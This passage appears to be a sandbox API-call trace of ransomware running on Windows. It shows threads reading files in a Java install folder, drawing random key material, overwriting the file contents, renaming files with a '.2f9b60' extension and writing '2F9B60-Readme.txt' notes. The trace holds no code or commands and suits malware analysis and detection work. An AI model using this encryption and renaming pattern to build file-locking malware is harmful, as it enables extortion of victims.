DirectoryInfo=0x0) returned 1 [0103.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x2050a380 [0104.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a380) returned 1 [0104.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42056ba0) returned 1 [0104.309] NtQueryInformationFile (in: FileHandle=0x1748, IoStatusBlock=0x2ffcfd78, FileInformation=0x2ffcfd88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ffcfd78, FileInformation=0x2ffcfd88) returned 0x0 [0104.309] NtSetInformationFile (FileHandle=0x1748, IoStatusBlock=0x2ffcfd78, FileInformation=0x2ffcfd88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5b70) returned 1 [0104.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cf10) returned 1 [0104.321] FlushFileBuffers (hFile=0x1748) returned 1 [0104.332] CloseHandle (hObject=0x1748) returned 1 [0104.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1ced5b70 [0104.333] wcscpy (in: _Dest=0x1ced5b70, _Source="C:\\Program Files (x86)\\Java\\jre7\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0104.333] wcscat (in: _Dest=0x1ced5b70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\2F9B60-Readme.txt" [0104.333] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\2f9b60-readme.txt")) returned 0x20 [0104.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5b70) returned 1 [0104.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859270) returned 1 Thread: id = 961 os_tid = 0x15ac [0101.311] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\release" (normalized: "c:\\program files (x86)\\java\\jre7\\release")) returned 0x20 [0103.096] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\release", dwFileAttributes=0x20) returned 1 [0103.234] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\release" (normalized: "c:\\program files (x86)\\java\\jre7\\release"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1744 [0103.234] GetFileSizeEx (in: hFile=0x1744, lpFileSize=0x3012fcc0 | out: lpFileSize=0x3012fcc0*=506) returned 1 [0103.234] SetFilePointerEx (in: hFile=0x1744, liDistanceToMove=0x1f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.234] ReadFile (in: hFile=0x1744, lpBuffer=0x3012fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3012fc88, lpOverlapped=0x0 | out: lpBuffer=0x3012fc40*, lpNumberOfBytesRead=0x3012fc88*=0x4, lpOverlapped=0x0) returned 1 [0103.235] SetFilePointerEx (in: hFile=0x1744, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c30 [0103.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202618e0 [0103.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ee0 [0103.236] NtQuerySystemTime (in: CurrentTime=0x3012fb80 | out: CurrentTime=0x3012fb80*=132462177087394000) returned 0x0 [0103.236] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x565201e7 [0103.236] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x5af323aa [0103.236] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x4004322e [0103.236] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x19232344 [0103.236] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x17878ff7 [0103.236] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x54f86d6 [0103.236] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x5cc136fa [0103.236] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x7fa40b0f [0103.236] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x1ae77dc3 [0103.236] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x479238d3 [0103.236] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x2a9597ff [0103.236] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x3fca6d32 [0103.236] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x706c44fd [0103.236] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x398576b3 [0103.236] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x6969b123 [0103.236] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x158d30ab [0103.237] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x7e42939 [0103.237] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x6997433b [0103.237] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x538c3d61 [0103.237] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x644fd24d [0103.237] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x64118441 [0103.237] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x1c60125e [0103.237] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x174c137 [0103.237] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x31e15a2d [0103.237] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x7b78b0ae [0103.237] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x78ced8ce [0103.237] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x27647e7 [0103.237] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x250c6fe [0103.237] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x14c33d06 [0103.237] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x40d4e96d [0103.237] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x3a748656 [0103.237] RtlRandomEx (in: Seed=0x3012fb70 | out: Seed=0x3012fb70) returned 0x40d4e96d [0103.250] ReadFile (in: hFile=0x1744, lpBuffer=0x41f1f0f0, nNumberOfBytesToRead=0x1fa, lpNumberOfBytesRead=0x3012fb70, lpOverlapped=0x0 | out: lpBuffer=0x41f1f0f0*, lpNumberOfBytesRead=0x3012fb70*=0x1fa, lpOverlapped=0x0) returned 1 [0103.251] SetFilePointerEx (in: hFile=0x1744, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.251] WriteFile (in: hFile=0x1744, lpBuffer=0x41f22d00*, nNumberOfBytesToWrite=0x1fa, lpNumberOfBytesWritten=0x3012fb74, lpOverlapped=0x0 | out: lpBuffer=0x41f22d00*, lpNumberOfBytesWritten=0x3012fb74*=0x1fa, lpOverlapped=0x0) returned 1 [0103.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a330 [0103.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b410 [0103.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b410) returned 1 [0103.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f22d00) returned 1 [0103.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f1f0f0) returned 1 [0103.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0103.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0103.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b85b410 [0103.428] SetFilePointerEx (in: hFile=0x1744, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.428] WriteFile (in: hFile=0x1744, lpBuffer=0x1696f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3012fc90, lpOverlapped=0x0 | out: lpBuffer=0x1696f0*, lpNumberOfBytesWritten=0x3012fc90*=0x100, lpOverlapped=0x0) returned 1 [0103.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0103.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503d10 [0103.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617f0 [0103.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202617f0) returned 1 [0103.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82d000 [0103.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617f0 [0103.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261880 [0103.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261880) returned 1 [0103.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503d10) returned 1 [0103.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0103.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x20261880 [0103.853] sprintf (in: _Dest=0x20261880, _Format="%c%c" | out: _Dest="07") returned 2 [0103.853] sprintf (in: _Dest=0x20261882, _Format="%c%c" | out: _Dest="6e") returned 2 [0103.853] sprintf (in: _Dest=0x20261884, _Format="%c%c" | out: _Dest="ae") returned 2 [0103.853] sprintf (in: _Dest=0x20261886, _Format="%c%c" | out: _Dest="db") returned 2 [0103.853] sprintf (in: _Dest=0x20261888, _Format="%c%c" | out: _Dest="c7") returned 2 [0103.853] sprintf (in: _Dest=0x2026188a, _Format="%c%c" | out: _Dest="95") returned 2 [0103.853] sprintf (in: _Dest=0x2026188c, _Format="%c%c" | out: _Dest="5f") returned 2 [0103.853] sprintf (in: _Dest=0x2026188e, _Format="%c%c" | out: _Dest="10") returned 2 [0103.853] sprintf (in: _Dest=0x20261890, _Format="%c%c" | out: _Dest="2c") returned 2 [0103.853] sprintf (in: _Dest=0x20261892, _Format="%c%c" | out: _Dest="a2") returned 2 [0103.853] sprintf (in: _Dest=0x20261894, _Format="%c%c" | out: _Dest="c6") returned 2 [0103.853] sprintf (in: _Dest=0x20261896, _Format="%c%c" | out: _Dest="36") returned 2 [0103.853] sprintf (in: _Dest=0x20261898, _Format="%c%c" | out: _Dest="d7") returned 2 [0103.854] sprintf (in: _Dest=0x2026189a, _Format="%c%c" | out: _Dest="f7") returned 2 [0103.854] RtlInitAnsiString (in: DestinationString=0x3012fd08, SourceString="076eaedbc7955f102ca2c636d7f7" | out: DestinationString="076eaedbc7955f102ca2c636d7f7") [0103.854] RtlAnsiStringToUnicodeString (in: DestinationString=0x3012fcd8, SourceString="076eaedbc7955f102ca2c636d7f7", AllocateDestinationString=1 | out: DestinationString="076eaedbc7955f102ca2c636d7f7") returned 0x0 [0103.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1cd97e90 [0103.854] wcscat (in: _Dest=0x1ced5cc0, _Source="076eaed" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\076eaed") returned="C:\\Program Files (x86)\\Java\\jre7\\076eaed" [0103.854] wcscat (in: _Dest=0x1ced5cc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\076eaed.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\076eaed.2f9b60" [0103.854] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\076eaed.2f9b60", NtPathName=0x3012fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\076eaed.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x2050a410 [0104.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a410) returned 1 [0104.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42056740) returned 1 [0104.311] NtQueryInformationFile (in: FileHandle=0x1744, IoStatusBlock=0x3012fd18, FileInformation=0x3012fd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3012fd18, FileInformation=0x3012fd28) returned 0x0 [0104.311] NtSetInformationFile (FileHandle=0x1744, IoStatusBlock=0x3012fd18, FileInformation=0x3012fd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5cc0) returned 1 [0104.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e90) returned 1 [0104.314] FlushFileBuffers (hFile=0x1744) returned 1 [0104.323] CloseHandle (hObject=0x1744) returned 1 [0104.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1ced5b70 [0104.324] wcscpy (in: _Dest=0x1ced5b70, _Source="C:\\Program Files (x86)\\Java\\jre7\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0104.324] wcscat (in: _Dest=0x1ced5b70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\2F9B60-Readme.txt" [0104.324] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\2f9b60-readme.txt")) returned 0xffffffff [0104.324] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1744 [0104.325] WriteFile (in: hFile=0x1744, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3012fbd0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3012fbd0*=0xba9, lpOverlapped=0x0) returned 1 [0104.326] CloseHandle (hObject=0x1744) returned 1 [0104.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5b70) returned 1 [0104.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859210) returned 1 Thread: id = 962 os_tid = 0x15b0 [0101.313] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme-javafx.txt")) returned 0x20 [0102.465] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt", dwFileAttributes=0x20) returned 1 [0102.478] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14f0 [0102.478] GetFileSizeEx (in: hFile=0x14f0, lpFileSize=0x3025fac0 | out: lpFileSize=0x3025fac0*=125105) returned 1 [0102.479] SetFilePointerEx (in: hFile=0x14f0, liDistanceToMove=0x1e8ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.479] ReadFile (in: hFile=0x14f0, lpBuffer=0x3025fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3025fa88, lpOverlapped=0x0 | out: lpBuffer=0x3025fa40*, lpNumberOfBytesRead=0x3025fa88*=0x4, lpOverlapped=0x0) returned 1 [0102.534] SetFilePointerEx (in: hFile=0x14f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859550 [0102.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a600 [0102.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859490 [0102.534] NtQuerySystemTime (in: CurrentTime=0x3025f980 | out: CurrentTime=0x3025f980*=132462177080530000) returned 0x0 [0102.534] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x6c1da08a [0102.534] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x7657c00c [0102.534] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x784b84a9 [0102.534] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x5117ec05 [0102.534] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0xd7ae0c3 [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x773584dc [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x408958df [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x2f6c43a2 [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x607d70c4 [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x7a176784 [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x5e4aff63 [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x5eacfe7 [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0xfd4782b [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x301ee2f2 [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x564eb5bf [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x433f70fb [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x6deba88f [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x377f653 [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x5415ba22 [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x53444256 [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0xecb33a2 [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x6883aafe [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x59cbc050 [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x696c9c41 [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x49edfa4a [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x747e5ef6 [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x6916eac1 [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x134988a6 [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x4f1d5267 [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x5f67aac3 [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x14f8720a [0102.535] RtlRandomEx (in: Seed=0x3025f970 | out: Seed=0x3025f970) returned 0x9103eb9 [0102.544] SetFilePointerEx (in: hFile=0x14f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.544] ReadFile (in: hFile=0x14f0, lpBuffer=0x20495b00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3025f9e0, lpOverlapped=0x0 | out: lpBuffer=0x20495b00*, lpNumberOfBytesRead=0x3025f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0102.546] SetFilePointerEx (in: hFile=0x14f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0102.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0102.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859550 [0102.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859550) returned 1 [0102.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20499710 [0102.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859550 [0102.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859490 [0102.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859490) returned 1 [0102.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0102.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0102.547] WriteFile (in: hFile=0x14f0, lpBuffer=0x20499710*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3025f9e0, lpOverlapped=0x0 | out: lpBuffer=0x20499710*, lpNumberOfBytesWritten=0x3025f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20499710) returned 1 [0130.233] SetFilePointerEx (in: hFile=0x14f0, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.233] ReadFile (in: hFile=0x14f0, lpBuffer=0x20495b00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3025f9e0, lpOverlapped=0x0 | out: lpBuffer=0x20495b00*, lpNumberOfBytesRead=0x3025f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.235] SetFilePointerEx (in: hFile=0x14f0, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262240 [0130.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262240) returned 1 [0130.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20499710 [0130.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262240 [0130.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260980 [0130.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260980) returned 1 [0130.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.237] WriteFile (hFile=0x14f0, lpBuffer=0x20499710, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3025f9e0, lpOverlapped=0x0) [0171.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20499710) returned 1 [0171.051] SetFilePointerEx (in: hFile=0x14f0, liDistanceToMove=0x1acb1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.051] ReadFile (in: hFile=0x14f0, lpBuffer=0x20495b00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3025f9e0, lpOverlapped=0x0 | out: lpBuffer=0x20495b00*, lpNumberOfBytesRead=0x3025f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0171.218] SetFilePointerEx (in: hFile=0x14f0, liDistanceToMove=0x1acb1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d2b0 [0171.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d2b0) returned 1 [0171.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203190f0 [0171.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d2b0 [0171.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d2e0 [0171.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d2e0) returned 1 [0171.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.220] WriteFile (in: hFile=0x14f0, lpBuffer=0x203190f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3025f9e0, lpOverlapped=0x0 | out: lpBuffer=0x203190f0*, lpNumberOfBytesWritten=0x3025f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203190f0) returned 1 [0194.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf9f0 [0194.865] SetFilePointerEx (in: hFile=0x14f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.865] WriteFile (in: hFile=0x14f0, lpBuffer=0x19eea0*, nNumberOfBytesToWrite=0x176, lpNumberOfBytesWritten=0x3025fa90, lpOverlapped=0x0 | out: lpBuffer=0x19eea0*, lpNumberOfBytesWritten=0x3025fa90*=0x176, lpOverlapped=0x0) returned 1 [0206.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059000 [0206.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba860 [0206.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861170 [0206.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861170) returned 1 [0206.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x42058510 [0206.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861170 